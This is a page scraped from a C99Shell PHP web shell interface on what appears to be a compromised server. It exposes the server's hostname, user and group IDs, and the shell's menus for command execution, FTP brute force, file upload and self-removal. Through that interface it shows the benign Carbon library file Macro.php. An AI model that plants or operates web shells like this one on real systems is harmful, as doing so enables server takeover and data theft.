!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/nesbot/carbon/src/Carbon/Traits/   drwxr-xr-x
Free 28.63 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Macro.php (2.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/**
 * This file is part of the Carbon package.
 *
 * (c) Brian Nesbitt <brian@nesbot.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Carbon\Traits;

use 
Carbon\FactoryImmutable;

/**
 * Trait Macros.
 *
 * Allows users to register macros within the Carbon class.
 */
trait Macro
{
    use 
Mixin;

    
/**
     * Register a custom macro.
     *
     * Pass null macro to remove it.
     *
     * @example
     * ```
     * $userSettings = [
     *   'locale' => 'pt',
     *   'timezone' => 'America/Sao_Paulo',
     * ];
     * Carbon::macro('userFormat', function () use ($userSettings) {
     *   return $this->copy()->locale($userSettings['locale'])->tz($userSettings['timezone'])->calendar();
     * });
     * echo Carbon::yesterday()->hours(11)->userFormat();
     * ```
     *
     * @param-closure-this static $macro
     */
    
public static function macro(string $name, ?callable $macro): void
    
{
        
FactoryImmutable::getDefaultInstance()->macro($name$macro);
    }

    
/**
     * Remove all macros and generic macros.
     */
    
public static function resetMacros(): void
    
{
        
FactoryImmutable::getDefaultInstance()->resetMacros();
    }

    
/**
     * Register a custom macro.
     *
     * @param callable $macro
     * @param int      $priority marco with higher priority is tried first
     *
     * @return void
     */
    
public static function genericMacro(callable $macroint $priority 0): void
    
{
        
FactoryImmutable::getDefaultInstance()->genericMacro($macro$priority);
    }

    
/**
     * Checks if macro is registered globally.
     *
     * @param string $name
     *
     * @return bool
     */
    
public static function hasMacro(string $name): bool
    
{
        return 
FactoryImmutable::getInstance()->hasMacro($name);
    }

    
/**
     * Get the raw callable macro registered globally for a given name.
     */
    
public static function getMacro(string $name): ?callable
    {
        return 
FactoryImmutable::getInstance()->getMacro($name);
    }

    
/**
     * Checks if macro is registered globally or locally.
     */
    
public function hasLocalMacro(string $name): bool
    
{
        return (
$this->localMacros && isset($this->localMacros[$name])) || $this->transmitFactory(
            static fn () => static::
hasMacro($name),
        );
    }

    
/**
     * Get the raw callable macro registered globally or locally for a given name.
     */
    
public function getLocalMacro(string $name): ?callable
    {
        return (
$this->localMacros ?? [])[$name] ?? $this->transmitFactory(
            static fn () => static::
getMacro($name),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--